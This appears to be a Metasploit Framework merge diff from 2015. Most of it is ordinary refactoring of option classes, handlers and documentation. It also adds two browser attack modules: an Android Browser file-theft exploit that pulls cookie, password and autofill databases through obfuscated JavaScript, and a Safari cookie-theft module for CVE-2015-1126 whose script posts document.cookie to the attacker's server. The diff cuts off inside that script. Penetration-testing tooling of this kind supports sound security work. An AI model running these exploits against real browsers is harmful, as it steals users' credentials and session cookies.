Merge branch 'upstream/master' into connection-recovery

bug/bundler_fix
OJ 2015-04-21 20:01:59 +10:00
commit 86957d9b07
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
80 changed files with 3266 additions and 827 deletions

View File

@ -177,7 +177,7 @@ GEM
json (~> 1.4)
recog (1.0.27)
nokogiri
redcarpet (3.1.2)
redcarpet (3.2.3)
rkelly-remix (0.0.6)
robots (0.10.1)
rspec (2.99.0)

View File

@ -749,7 +749,7 @@ class PythonMeterpreter(object):
resp = struct.pack('>I', len(resp) + 4) + resp
return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
try:
os.setsid()

View File

@ -224,7 +224,7 @@ module Metasploit
configure_http_client(cli)
if realm
cli.set_config('domain' => credential.realm)
cli.set_config('domain' => realm)
end
begin

View File

@ -164,9 +164,7 @@ module Msf::DBManager::Import::Nmap
data[:host] = hobj || addr
data[:info] = extra if not extra.empty?
data[:task] = args[:task]
if p["name"] != "unknown"
data[:name] = p["name"]
end
data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name']
report_service(data)
}
#Parse the scripts output

View File

@ -1218,10 +1218,31 @@ class Exploit < Msf::Module
# Failure tracking
##
# Raises a Msf::Exploit::Failed exception. It overrides the fail_with method
# in lib/msf/core/module.rb
#
# @param reason [String] A constant from Msf::Module::Failure.
# If the reason does not come from there, then it will default to
# Msf::Module::Failure::Unknown.
# @param msg [String] (Optional) A message about the failure.
# @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception.
# @return [void]
# @see Msf::Module::Failure
# @see Msf::Module#fail_with
# @example
# fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload')
def fail_with(reason,msg=nil)
self.fail_reason = reason
# The reason being registered here will be used later on, so it's important we don't actually
# provide a made-up one.
allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)}
if allowed_values.include?(reason)
self.fail_reason = reason
else
self.fail_reason = Msf::Module::Failure::Unknown
end
self.fail_detail = msg
raise Msf::Exploit::Failed, (msg || "No reason given")
raise Msf::Exploit::Failed, (msg || "No failure message given")
end
def report_failure

View File

@ -163,7 +163,9 @@ module ReverseHttp
def stop_handler
if self.service
self.service.remove_resource("/")
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
if self.service.resources.empty? && self.sessions == 0
Rex::ServiceManager.stop_service(self.service)
end
end
end

View File

@ -3,6 +3,8 @@ require 'msf/core'
module Msf
autoload :OptionContainer, 'msf/core/option_container'
###
#
# The module base class is responsible for providing the common interface
@ -276,7 +278,18 @@ class Module
end
#
# Support fail_with for all module types, allow specific classes to override
# Raises a RuntimeError failure message. This is meant to be used for all non-exploits,
# and allows specific classes to override.
#
# @param reason [String] A reason about the failure.
# @param msg [String] (Optional) A message about the failure.
# @raise [RuntimeError]
# @return [void]
# @note If you are writing an exploit, you don't use this API. Instead, please refer to the
# API documentation from lib/msf/core/exploit.rb.
# @see Msf::Exploit#fail_with
# @example
# fail_with('No Access', 'Unable to login')
#
def fail_with(reason, msg=nil)
raise RuntimeError, "#{reason.to_s}: #{msg}"

74
lib/msf/core/opt.rb Normal file
View File

@ -0,0 +1,74 @@
# -*- coding: binary -*-
module Msf
#
# Builtin framework options with shortcut methods
#
# @example
# register_options(
# [
# Opt::RHOST,
# Opt::RPORT(21),
# ]
# )
# register_advanced_options([Opt::Proxies])
#
module Opt
# @return [OptAddress]
def self.CHOST(default=nil, required=false, desc="The local client address")
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptPort]
def self.CPORT(default=nil, required=false, desc="The local client port")
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptAddress]
def self.LHOST(default=nil, required=true, desc="The listen address")
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptPort]
def self.LPORT(default=nil, required=true, desc="The listen port")
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptString]
def self.Proxies(default=nil, required=false, desc="A proxy chain of format type:host:port[,type:host:port][...]")
Msf::OptString.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptAddress]
def self.RHOST(default=nil, required=true, desc="The target address")
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptPort]
def self.RPORT(default=nil, required=true, desc="The target port")
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end
# These are unused but remain for historical reasons
class << self
alias builtin_chost CHOST
alias builtin_cport CPORT
alias builtin_lhost LHOST
alias builtin_lport LPORT
alias builtin_proxies Proxies
alias builtin_rhost RHOST
alias builtin_rport RPORT
end
CHOST = CHOST()
CPORT = CPORT()
LHOST = LHOST()
LPORT = LPORT()
Proxies = Proxies()
RHOST = RHOST()
RPORT = RPORT()
end
end

View File

@ -0,0 +1,37 @@
# -*- coding: binary -*-
module Msf
###
#
# Network address option.
#
###
class OptAddress < OptBase
def type
return 'address'
end
def valid?(value)
return false if empty_required_value?(value)
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
if (value != nil and value.empty? == false)
begin
getaddr_result = ::Rex::Socket.getaddress(value, true)
# Covers a wierdcase where an incomplete ipv4 address will have it's
# missing octets filled in with 0's. (e.g 192.168 become 192.0.0.168)
# which does not feel like a legit behaviour
if value =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
return false unless value =~ Rex::Socket::MATCH_IPV4
end
rescue
return false
end
end
return super
end
end
end

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
module Msf
###
#
# Network address range option.
#
###
class OptAddressRange < OptBase
def type
return 'addressrange'
end
def normalize(value)
return nil unless value.kind_of?(String)
if (value =~ /^file:(.*)/)
path = $1
return false if not File.exists?(path) or File.directory?(path)
return File.readlines(path).map{ |s| s.strip}.join(" ")
elsif (value =~ /^rand:(.*)/)
count = $1.to_i
return false if count < 1
ret = ''
count.times {
ret << " " if not ret.empty?
ret << [ rand(0x100000000) ].pack("N").unpack("C*").map{|x| x.to_s }.join(".")
}
return ret
end
return value
end
def valid?(value)
return false if empty_required_value?(value)
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
if (value != nil and value.empty? == false)
normalized = normalize(value)
return false if normalized.nil?
walker = Rex::Socket::RangeWalker.new(normalized)
if (not walker or not walker.valid?)
return false
end
end
return super
end
end
end

166
lib/msf/core/opt_base.rb Normal file
View File

@ -0,0 +1,166 @@
# -*- coding: binary -*-
require 'resolv'
require 'msf/core'
require 'rex/socket'
module Msf
###
#
# The base class for all options.
#
###
class OptBase
#
# Initializes a named option with the supplied attribute array.
# The array is composed of three values.
#
# attrs[0] = required (boolean type)
# attrs[1] = description (string)
# attrs[2] = default value
# attrs[3] = possible enum values
# attrs[4] = Regex to validate the option
#
def initialize(in_name, attrs = [])
self.name = in_name
self.advanced = false
self.evasion = false
self.required = attrs[0] || false
self.desc = attrs[1]
self.default = attrs[2]
self.enums = [ *(attrs[3]) ].map { |x| x.to_s }
regex_temp = attrs[4] || nil
if regex_temp
# convert to string
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
# remove start and end character, they will be added later
regex_temp = regex_temp.sub(/^\^/, '').sub(/\$$/, '')
# Add start and end marker to match the whole regex
regex_temp = "^#{regex_temp}$"
begin
Regexp.compile(regex_temp)
self.regex = regex_temp
rescue RegexpError, TypeError => e
raise("Invalid Regex #{regex_temp}: #{e}")
end
end
end
#
# Returns true if this is a required option.
#
def required?
return required
end
#
# Returns true if this is an advanced option.
#
def advanced?
return advanced
end
#
# Returns true if this is an evasion option.
#
def evasion?
return evasion
end
#
# Returns true if the supplied type is equivalent to this option's type.
#
def type?(in_type)
return (type == in_type)
end
#
# If it's required and the value is nil or empty, then it's not valid.
#
def valid?(value)
if required?
# required variable not set
return false if (value == nil or value.to_s.empty?)
end
if regex
if value.match(regex)
return true
else
return false
end
end
return true
end
#
# Returns true if the value supplied is nil and it's required to be
# a valid value
#
def empty_required_value?(value)
return (required? and value.nil?)
end
#
# Normalizes the supplied value to conform with the type that the option is
# conveying.
#
def normalize(value)
value
end
#
# Returns a string representing a user-friendly display of the chosen value
#
def display_value(value)
value.to_s
end
#
# The name of the option.
#
attr_reader :name
#
# Whether or not the option is required.
#
attr_reader :required
#
# The description of the option.
#
attr_reader :desc
#
# The default value of the option.
#
attr_reader :default
#
# Storing the name of the option.
#
attr_writer :name
#
# Whether or not this is an advanced option.
#
attr_accessor :advanced
#
# Whether or not this is an evasion option.
#
attr_accessor :evasion
#
# The module or entity that owns this option.
#
attr_accessor :owner
#
# The list of potential valid values
#
attr_accessor :enums
#
# A optional regex to validate the option value
#
attr_accessor :regex
protected
attr_writer :required, :desc, :default # :nodoc:
end
end

48
lib/msf/core/opt_bool.rb Normal file
View File

@ -0,0 +1,48 @@
# -*- coding: binary -*-
module Msf
###
#
# Boolean option.
#
###
class OptBool < OptBase
TrueRegex = /^(y|yes|t|1|true)$/i
def type
return 'bool'
end
def valid?(value)
return false if empty_required_value?(value)
if ((value != nil and
(value.to_s.empty? == false) and
(value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil)))
return false
end
true
end
def normalize(value)
if(value.nil? or value.to_s.match(TrueRegex).nil?)
false
else
true
end
end
def is_true?(value)
return normalize(value)
end
def is_false?(value)
return !is_true?(value)
end
end
end

48
lib/msf/core/opt_enum.rb Normal file
View File

@ -0,0 +1,48 @@
# -*- coding: binary -*-
module Msf
###
#
# Enum option.
#
###
class OptEnum < OptBase
def type
return 'enum'
end
def valid?(value=self.value)
return false if empty_required_value?(value)
return true if value.nil? and !required?
(value and self.enums.include?(value.to_s))
end
def normalize(value=self.value)
return nil if not self.valid?(value)
return value.to_s
end
def desc=(value)
self.desc_string = value
self.desc
end
def desc
if self.enums
str = self.enums.join(', ')
end
"#{self.desc_string || ''} (accepted: #{str})"
end
protected
attr_accessor :desc_string # :nodoc:
end
end

35
lib/msf/core/opt_int.rb Normal file
View File

@ -0,0 +1,35 @@
# -*- coding: binary -*-
module Msf
###
#
# Integer option.
#
###
class OptInt < OptBase
def type
return 'integer'
end
def normalize(value)
if (value.to_s.match(/^0x[a-fA-F\d]+$/))
value.to_i(16)
else
value.to_i
end
end
def valid?(value)
return super if !required? and value.to_s.empty?
return false if empty_required_value?(value)
if value and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
return false
end
return super
end
end
end

44
lib/msf/core/opt_path.rb Normal file
View File

@ -0,0 +1,44 @@
# -*- coding: binary -*-
module Msf
###
#
# File system path option.
#
###
class OptPath < OptBase
def type
return 'path'
end
# Generally, 'value' should be a file that exists.
def valid?(value)
return false if empty_required_value?(value)
if value and !value.empty?
if value =~ /^memory:\s*([0-9]+)/i
return false unless check_memory_location($1)
else
unless File.exists?(value)
return false
end
end
end
return super
end
# The AuthBrute mixin can take a memory address as well --
# currently, no other OptFile can make use of these objects.
# TODO: Implement memory:xxx to be more generally useful so
# the validator on OptFile isn't lying for non-AuthBrute.
def check_memory_location(id)
return false unless self.class.const_defined?(:ObjectSpace)
obj = ObjectSpace._id2ref(id.to_i) rescue nil
return false unless obj.respond_to? :acts_as_file?
return false unless obj.acts_as_file? # redundant?
return !!obj
end
end
end

31
lib/msf/core/opt_port.rb Normal file
View File

@ -0,0 +1,31 @@
# -*- coding: binary -*-
module Msf
###
#
# Network port option.
#
###
class OptPort < OptBase
def type
return 'port'
end
def normalize(value)
value.to_i
end
def valid?(value)
return false if empty_required_value?(value)
if ((value != nil and value.to_s.empty? == false) and
((value.to_s.match(/^\d+$/) == nil or value.to_i < 0 or value.to_i > 65535)))
return false
end
return super
end
end
end

34
lib/msf/core/opt_raw.rb Normal file
View File

@ -0,0 +1,34 @@
# -*- coding: binary -*-
module Msf
###
#
# Raw, arbitrary data option.
#
###
class OptRaw < OptBase
def type
return 'raw'
end
def normalize(value)
if (value =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
rescue ::Errno::ENOENT, ::Errno::EISDIR
value = nil
end
end
value
end
def valid?(value=self.value)
value = normalize(value)
return false if empty_required_value?(value)
return super
end
end
end

View File

@ -0,0 +1,46 @@
# -*- coding: binary -*-
module Msf
###
#
# Regexp option
#
###
class OptRegexp < OptBase
def type
return 'regexp'
end
def valid?(value)
unless super
return false
end
return true if (not required? and value.nil?)
begin
Regexp.compile(value)
return true
rescue RegexpError, TypeError
return false
end
end
def normalize(value)
return nil if value.nil?
return Regexp.compile(value)
end
def display_value(value)
if value.kind_of?(Regexp)
return value.source
elsif value.kind_of?(String)
return display_value(normalize(value))
end
return super
end
end
end

View File

@ -0,0 +1,34 @@
# -*- coding: binary -*-
module Msf
###
#
# Mult-byte character string option.
#
###
class OptString < OptBase
def type
return 'string'
end
def normalize(value)
if (value =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
rescue ::Errno::ENOENT, ::Errno::EISDIR
value = nil
end
end
value
end
def valid?(value=self.value)
value = normalize(value)
return false if empty_required_value?(value)
return super
end
end
end

File diff suppressed because it is too large Load Diff

View File

@ -86,13 +86,13 @@ class Msf::Payload::UUID
#
# Generate a raw 16-byte payload UUID given a seed, platform, architecture, and timestamp
#
# @options opts [String] :seed An optional string to use for generated the unique payload ID, deterministic
# @options opts [String] :puid An optional 8-byte string to use as the unique payload ID
# @options opts [String] :arch The hardware architecture for this payload
# @options opts [String] :platform The operating system platform for this payload
# @options opts [String] :timestamp The timestamp in UTC Unix epoch format
# @options opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation
# @options opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation
# @option opts [String] :seed An optional string to use for generated the unique payload ID, deterministic
# @option opts [String] :puid An optional 8-byte string to use as the unique payload ID
# @option opts [String] :arch The hardware architecture for this payload
# @option opts [String] :platform The operating system platform for this payload
# @option opts [String] :timestamp The timestamp in UTC Unix epoch format
# @option opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation
# @option opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation
# @return [String] The encoded payoad UUID as a binary string
#
def self.generate_raw(opts={})

View File

@ -144,8 +144,10 @@ module Msf
if arch.blank?
@arch = mod.arch.first
cli_print "No Arch selected, selecting Arch: #{arch} from the payload"
datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic)
return mod.arch.first
elsif mod.arch.include? arch
datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic)
return arch
else
return nil
@ -157,7 +159,10 @@ module Msf
# @param mod [Msf::Payload] The module class to choose a platform for
# @return [Msf::Module::PlatformList] The selected platform list
def choose_platform(mod)
# By default, platform_list will at least return Msf::Module::Platform
# if there is absolutely no pre-configured platform info at all
chosen_platform = platform_list
if chosen_platform.platforms.empty?
chosen_platform = mod.platform
cli_print "No platform was selected, choosing #{chosen_platform.platforms.first} from the payload"
@ -165,6 +170,17 @@ module Msf
elsif (chosen_platform & mod.platform).empty?
chosen_platform = Msf::Module::PlatformList.new
end
begin
platform_object = Msf::Module::Platform.find_platform(platform)
rescue ArgumentError
platform_object = nil
end
if mod.kind_of?(Msf::Payload::Generic) && mod.send(:module_info)['Platform'].empty? && platform_object
datastore['PLATFORM'] = platform
end
chosen_platform
end

View File

@ -41,8 +41,7 @@ module Msf
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @param name [String] the MBean name
# @return [Array]
def build_jmx_get_object_instance_args(name = '')
builder = Rex::Java::Serialization::Builder.new
@ -97,8 +96,7 @@ module Msf
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @param name [Hash] the MBean name
# @return [Array]
def build_jmx_create_mbean_args(name = '')
arguments = [

View File

@ -22,7 +22,6 @@ module Msf
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
#
# @param methods [Array] set of method names and their descriptors
# @param exceptions [Array] set of declared exceptions
# @return [Fixnum] The interface hash
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
def calculate_interface_hash(methods)

View File

@ -1121,6 +1121,10 @@ require 'msf/core/exe/segment_appender'
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
def self.to_win64pe_vbs(framework, code, opts = {})
to_exe_vbs(to_win64pe(framework, code, opts), opts)
end
# Creates a jar file that drops the provided +exe+ into a random file name
# in the system's temp dir and executes it.
#

View File

@ -277,6 +277,8 @@ module Rex
port_hash[:state] = determine_port_state(v)
when "name"
port_hash[:name] = v
when "tunnel"
port_hash[:name] = "#{v}/#{port_hash[:name] || 'unknown'}"
when "reason"
port_hash[:reason] = v
when "product"

View File

@ -79,7 +79,12 @@ module PacketDispatcher
def shutdown_passive_dispatcher
return if not self.passive_service
self.passive_service.remove_resource("/" + self.conn_id + "/")
self.passive_service.remove_resource(self.conn_id + "/")
# If there are no more resources registered on the service, stop it entirely
if self.passive_service.resources.empty?
Rex::ServiceManager.stop_service(self.passive_service)
end
self.alive = false
self.send_queue = []

3
lib/rex/proto/steam.rb Normal file
View File

@ -0,0 +1,3 @@
# -*- coding: binary -*-
require 'rex/proto/steam/message'

View File

@ -0,0 +1,125 @@
# -*- coding: binary -*-
module Rex
module Proto
##
#
# Steam protocol support, taken from https://developer.valvesoftware.com/wiki/Server_queries
#
##
module Steam
# The Steam header ussed when the message is fragmented.
FRAGMENTED_HEADER = 0xFFFFFFFE
# The Steam header ussed when the message is not fragmented.
UNFRAGMENTED_HEADER = 0xFFFFFFFF
# Decodes a Steam response message.
#
# @param message [String] the message to decode
# @return [Array] the message type and body
def decode_message(message)
# minimum size is header (4) + type (1)
return if message.length < 5
header, type = message.unpack('NC')
# TODO: handle fragmented responses
return if header != UNFRAGMENTED_HEADER
[type, message[5, message.length]]
end
# Encodes a Steam message.
#
# @param type [String, Fixnum] the message type
# @param body [String] the message body
# @return [String] the encoded Steam message
def encode_message(type, body)
if type.is_a? Fixnum
type_num = type
elsif type.is_a? String
type_num = type.ord
else
fail ArgumentError, 'type must be a String or Fixnum'
end
[UNFRAGMENTED_HEADER, type_num ].pack('NC') + body
end
# Builds an A2S_INFO message
#
# @return [String] the A2S_INFO message
def a2s_info
encode_message('T', "Source Engine Query\x00")
end
# Decodes an A2S_INFO response message
#
# @parameter response [String] the A2S_INFO resposne to decode
# @return [Hash] the fields extracted from the response
def a2s_info_decode(response)
# abort if it is impossibly short
return nil if response.length < 19
message_type, body = decode_message(response)
# abort if it isn't a valid Steam response
return nil if message_type != 0x49 # 'I'
info = {}
info[:version], info[:name], info[:map], info[:folder], info[:game_name],
info[:game_id], players, players_max, info[:bots],
type, env, vis, vac, info[:game_version], _edf = body.unpack("CZ*Z*Z*Z*SCCCCCCCZ*C")
# translate type
case type
when 100 # d
server_type = 'Dedicated'
when 108 # l
server_type = 'Non-dedicated'
when 112 # p
server_type = 'SourceTV relay (proxy)'
else
server_type = "Unknown (#{type})"
end
info[:type] = server_type
# translate environment
case env
when 108 # l
server_env = 'Linux'
when 119 # w
server_env = 'Windows'
when 109 # m
when 111 # o
server_env = 'Mac'
else
server_env = "Unknown (#{env})"
end
info[:environment] = server_env
# translate visibility
case vis
when 0
server_vis = 'public'
when 1
server_vis = 'private'
else
server_vis = "Unknown (#{vis})"
end
info[:visibility] = server_vis
# translate VAC
case vac
when 0
server_vac = 'unsecured'
when 1
server_vac = 'secured'
else
server_vac = "Unknown (#{vac})"
end
info[:VAC] = server_vac
# format players/max
info[:players] = "#{players}/#{players_max}"
# TODO: parse EDF
info
end
end
end
end

View File

@ -0,0 +1,183 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/jsobfu'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
include Msf::Exploit::JSObfu
def initialize(info={})
super(update_info(info,
'Name' => 'Android Browser File Theft',
'Description' => %q{
This module steals the cookie, password, and autofill databases from the
Browser application on AOSP 4.3 and below.
},
'Author' => [
'Rafay Baloch', # Found UXSS bug in Android Browser
'joev' # File redirect and msf module
],
'License' => MSF_LICENSE,
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'References' =>
[
# patch for file redirection, 2014
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
['URL', 'https://code.google.com/p/chromium/issues/detail?id=90222'] # the UXSS
],
'DefaultAction' => 'WebServer'
))
register_options([
OptString.new('ADDITIONAL_FILES', [
false,
'Comma-separated list of addition file URLs to steal.',
]),
OptBool.new('DEFAULT_FILES', [
true,
'Steals a default set of file URLs',
true
])
], self.class)
end
def run
exploit
end
def on_request_uri(cli, request)
if request.method.downcase == 'post'
process_post(cli, request)
send_response_html(cli, '')
else
print_status('Sending exploit landing page...')
send_response_html(cli, exploit_html)
end
end
def process_post(cli, request)
data = JSON.parse(request.body)
contents = hex2bin(data['data'])
file = File.basename(data['url'])
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
loot_path = store_loot(
file,
'application/x-sqlite3',
cli.peerhost,
contents,
File.basename(data['url']),
"#{cli.peerhost.ljust(16)} Android browser file"
)
print_good("Saved to: #{loot_path}")
end
def file_urls
default_urls = [
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',
'file:///data/data/com.android.browser/databases/webview.db',
'file:///data/data/com.android.browser/databases/autofill.db',
'file:///data/data/com.android.browser/databases/browser2.db',
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',
'file:///data/data/com.android.browser/app_databases/Databases.db',
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'
]
unless datastore['DEFAULT_FILES']
default_urls = []
end
default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')
end
def exploit_html
%Q|
<!doctype html>
<html>
<body>
<script>#{exploit_js}</script>
</body>
</html>
|
end
def exploit_js
js_obfuscate %Q|
window.onmessage = function(e) {
var x = new XMLHttpRequest;
x.open("POST", location.href);
x.send(JSON.stringify(e.data))
};
function xss() {
var urls = (#{JSON.generate(file_urls)});
function tick() {
setTimeout(function() { next(urls.shift()); });
};
window.onmessage = tick;
function next(url) {
if (!url) return;
try {
var f = document.createElement('iframe');
f.src = url;
f.onload = function() {
f.onload = null;
function nested() {
var x = new XMLHttpRequest;
x.open('GET', location.href);
x.responseType = 'arraybuffer';
x.send();
x.onload = function() {
var buff = new Uint8Array(x.response);
var hex = Array.prototype.map.call(buff, function(d) {
var c = d.toString(16);
return (c.length < 2) ? 0+c : c;
}).join(new String);
/*ensures there are no 'not allowed' responses that appear to be valid data*/
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
top.postMessage({data:hex,url:location.href}, '*');
}
parent.postMessage(1,'*');
};
x.onerror = function() {
parent.postMessage(1,'*');
};
}
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
f.contentWindow.location = "";
};
document.body.appendChild(f);
} catch(e) {t();}
};
tick();
}
var brokenFrame = document.createElement('iframe');
brokenFrame.src = 'http://localhost:100';
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
brokenFrame.onload = function() {
brokenFrame.onload = null;
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
brokenFrame.contentWindow.location = "";
};
document.body.appendChild(brokenFrame);
|
end
# TODO: Make this a proper Rex::Text function
def hex2bin(hex)
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
end
end

View File

@ -117,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
begin
response = JSON.parse(request.body)
rescue JSON::ParserError
print_bad "Invalid JSON request."
print_error "Invalid JSON request."
else
url = response['url']
if response && url

View File

@ -0,0 +1,261 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/service_manager'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::FtpServer
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft',
'Description' => %q{
A vulnerability exists in versions of OSX/iOS/Windows Safari released
before April 8, 2015 that allows the non-HTTPOnly cookies of any
domain to be stolen.
},
'License' => MSF_LICENSE,
'Author' => [
'Jouko Pynnonen', # Initial discovery and disclosure
'joev', # msf module
],
'References' => [
[ 'CVE', '2015-1126' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/30' ]
],
'Actions' => [ [ 'WebServer' ] ],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer',
'DisclosureDate' => 'Apr 8 2015'
))
register_options([
OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']),
OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]),
OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]),
OptString.new('TARGET_DOMAINS', [
true,
'The comma-separated list of domains to steal non-HTTPOnly cookies from.',
'apple.com,example.com'
])
], self.class )
end
#
# Start the FTP and HTTP server
#
def run
start_service
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
start_http
@http_service.wait
end
#
# Handle the HTTP request and return a response. Code borrowed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if comm.to_s == 'local'
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore['SSL'] ? 'https' : 'http')
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if opts['ServerHost'] == '0.0.0.0'
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end
#
# Lookup the right address for the client
#
def lookup_lhost(c=nil)
# Get the source address
if datastore['SRVHOST'] == '0.0.0.0'
Rex::Socket.source_address( c || '50.50.50.50')
else
datastore['SRVHOST']
end
end
#
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
#
def on_client_command_retr(c, arg)
conn = establish_data_connection(c)
unless conn
c.put("425 can't build data connection\r\n")
return
end
print_status('Connection for file transfer accepted')
c.put("150 Connection accepted\r\n")
# Send out payload
conn.put(exploit_html)
c.put("226 Transfer complete.\r\n")
conn.close
end
#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super
# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(@uri_path)
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
unless Rex::Text.zlib_present? || datastore['HTTP::compression'] == false
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
end
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
return @uri_path if @uri_path
@uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
@uri_path = '/' + @uri_path if @uri_path !~ /^\//
@uri_path
end
#
# Handle HTTP requets and responses
#
def on_request_uri(cli, request)
if request.method.downcase == 'post'
json = JSON.parse(request.body)
domain = json['domain']
cookie = Rex::Text.decode_base64(json['p']).to_s
if cookie.length == 0
print_error("#{cli.peerhost}: No cookies found for #{domain}")
else
file = store_loot(
"cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'
)
print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")
print_good(file)
end
send_response(cli, 200, 'OK', '')
else
domains = datastore['TARGET_DOMAINS'].split(',')
iframes = domains.map do |domain|
%Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'
src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>
</iframe>|
end
html = <<-HTML
<html>
<body>
#{iframes.join}
</body>
</html>
HTML
send_response(cli, 200, 'OK', html)
end
end
#
# Create an HTTP response and then send it
#
def send_response(cli, code, message='OK', html='')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'text/html'
res.body = html
cli.send_response(res)
end
def exploit_html
<<-HTML
<html><body>
<script>
var p = window.btoa(document.cookie);
var x = new XMLHttpRequest();
x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}")
x.setRequestHeader('Content-type', 'text/plain');
